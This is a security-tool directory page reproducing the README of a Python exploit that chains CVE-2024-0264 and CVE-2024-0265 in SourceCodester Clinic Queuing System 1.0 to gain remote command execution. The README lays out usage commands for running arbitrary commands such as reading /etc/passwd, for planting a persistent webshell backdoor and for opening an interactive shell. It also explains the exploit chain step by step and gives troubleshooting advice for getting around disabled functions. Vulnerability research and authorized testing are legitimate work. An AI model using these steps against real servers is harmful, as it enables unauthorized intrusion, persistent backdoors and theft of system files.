Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/wh1t3w1s4/cve-2024-0264-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Trojan
GitHubwh1t3w1s4/cve-2024-0264-poc

CVE-2024-0264-PoC

Best proof of concept for CVE-2024-0264 and CVE-2024-0265 vulnerabilities. (LFI to RCE via PHP filter chain in oretnom23 clinic_queuing_system). Upgraded version of the original script, available in exploitdb.

View Repository
11h 27m agoNot yet reviewed
Share

CVE-2024-0264 + CVE-2024-0265 — Clinic Queuing System 1.0 → RCE

Python exploit that chains an authorization bypass and an LFI in SourceCodester Clinic Queuing System 1.0 to achieve remote command execution, and optionally plant a persistent webshell.

  • CVE-2024-0264 — authorization bypass in /LoginRegistration.php by manipulating formToken. Allows creating an administrator user without being authenticated.
  • CVE-2024-0265 — local file inclusion in /index.php via the page parameter, without sanitization.

The RCE chain uses PHP filter chains (php://filter/...) to turn the LFI into code execution without the need to upload files or use poisoned logs.

Derived from the PoC by Juan Marco Sanchez (@jmrcsnchz) published on Exploit-DB 52008. This version adds arbitrary command execution, base64 escaping in both directions, verified backdoor deployment, and an interactive shell.


Requirements

  • Python 3.8+
  • requests
pip install requests
  • The PHP extension iconv enabled on the target (essential for the filter chain).
  • shell_exec must not be in disable_functions to use mode exec.

Installation

git clone https://github.com/wh1t3w1s4/CVE-2024-0264-PoC.git
cd <repo>
pip install -r requirements.txt

requirements.txt:

requests

Usage

python3 rce.py <target> [opciones]

Just check that there is execution

python3 rce.py http://target

Create an admin, log in, and execute echo $((7*7)) through the chain. If you see 49, there is RCE.

Execute commands

python3 rce.py http://target --cmd 'id'
python3 rce.py http://target --cmd 'id' --cmd 'uname -a' --cmd 'cat /etc/passwd'

--cmd is repeatable and runs in order.

Plant a backdoor

# nombre aleatorio en el docroot
python3 rce.py http://target --deploy

# ruta y primitiva propias
python3 rce.py http://target --deploy --bd system --path /var/www/html/x.php

The script writes the file, resolves the real path with realpath(), launches a verification GET, and returns the working URL:

[+] 16 bytes escritos en /var/www/html/rce_9f2a1c.php
[+] Backdoor operativo: http://target/rce_9f2a1c.php?0=comando

Interactive shell

python3 rce.py http://target --deploy --shell

If the deployment fails or you don't want a backdoor, the shell can go over the chain itself:

python3 rce.py http://target --shell

With existing credentials

python3 rce.py http://target --user admin --pass admin123 --cmd 'id'

Registration is skipped and it goes straight to login.

With a manually captured token

python3 rce.py http://target --token <formToken> --cmd 'id'

Options

FlagDescription
targetBase URL, without trailing slash
--userExisting user
--passUser password
--tokenformToken obtained manually; avoids scraping
--checkExecution test only (default behavior without other flags)
--cmdCommand to execute; repeatable
--deployWrites a webshell to the server
--pathBackdoor path. Default <DOCUMENT_ROOT>/rce_<hex>.php
--bdBackdoor primitive: exec (backticks, default), system, passthru
--shellInteractive shell after deployment or over the chain
--timeoutTimeout for execution requests (default 30 s)

How it works

  1. Token. GET /index.php/login.php?page=manage_user uses PATH_INFO to bypass auth.php; the page emits formToken['manage_user'] in the session.
  2. Registration. POST /LoginRegistration.php?a=save_user with that token creates a user with status=1, type=1 (admin).
  3. Login. The formToken['login'] is extracted from login.php and exchanged at a=login.
  4. RCE. GET /index.php?page=php://filter/... decodes the filter chain into PHP code that runs in the include().
  5. Backdoor. The same channel writes a file with file_put_contents(); the path is resolved with realpath() and verified with a real request.

Implementation details

  • Commands travel in base64 and are decoded in PHP with base64_decode(). No quoting collisions: quotes, $, & and backticks pass through intact.
  • Random markers (|a1b2c3d4e5|) delimit each output, so a cached response does not produce false positives and extraction is not cut off at the first < in the HTML.
  • The base64 is never pre-encoded. A %2b written by hand in params= ends up double-encoded (%252b) and base64_decode() discards the %, corrupting the payload. The literal + is encoded correctly by requests.
  • Deployment is validated. If DOCUMENT_ROOT is empty or the file falls outside the webroot, the script detects it and shows the real path to retry with --path.

Troubleshooting

SymptomCause / solution
414 URI Too LongThe chain plus the base64 exceed the server limit. Shorten the command or deploy the backdoor and work against it
el chain ejecuta pero shell_exec devuelve vacíoshell_exec in disable_functions. Try --bd system / --bd passthru
el chain no ejecutoMissing iconv, allow_url_include aggressively disabled, or the include has a directory prefix
Backdoor written but 404The path is not web-accessible. Use --path inside the real docroot
Login failsSession or user expired; repeat without --user/--pass
WRITEFAILDirectory without write permissions. Point to /tmp or to an uploads directory

Differences from the original PoC

  • Execution of arbitrary commands instead of a fixed reverse shell.
  • base64 escaping in both directions.
  • Backdoor with a random name, configurable path and verification that it responds.
  • Alternative primitives (system, passthru) for when shell_exec is capped.
  • Interactive shell and output delimited by unique markers.

Notice

Educational and auditing use. Test it only against your own systems or with authorization.

Credits

  • Vulnerabilidades: Juan Marco Sanchez (@jmrcsnchz) — Exploit-DB 52008
  • Técnica de filter chains: synacktiv/php_filter_chain_generator
  • Producto: SourceCodester Clinic Queuing System 1.0
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    634
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    417
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    383
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    328
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    288

Explore all tools

Browse our collection of tools

View all tools →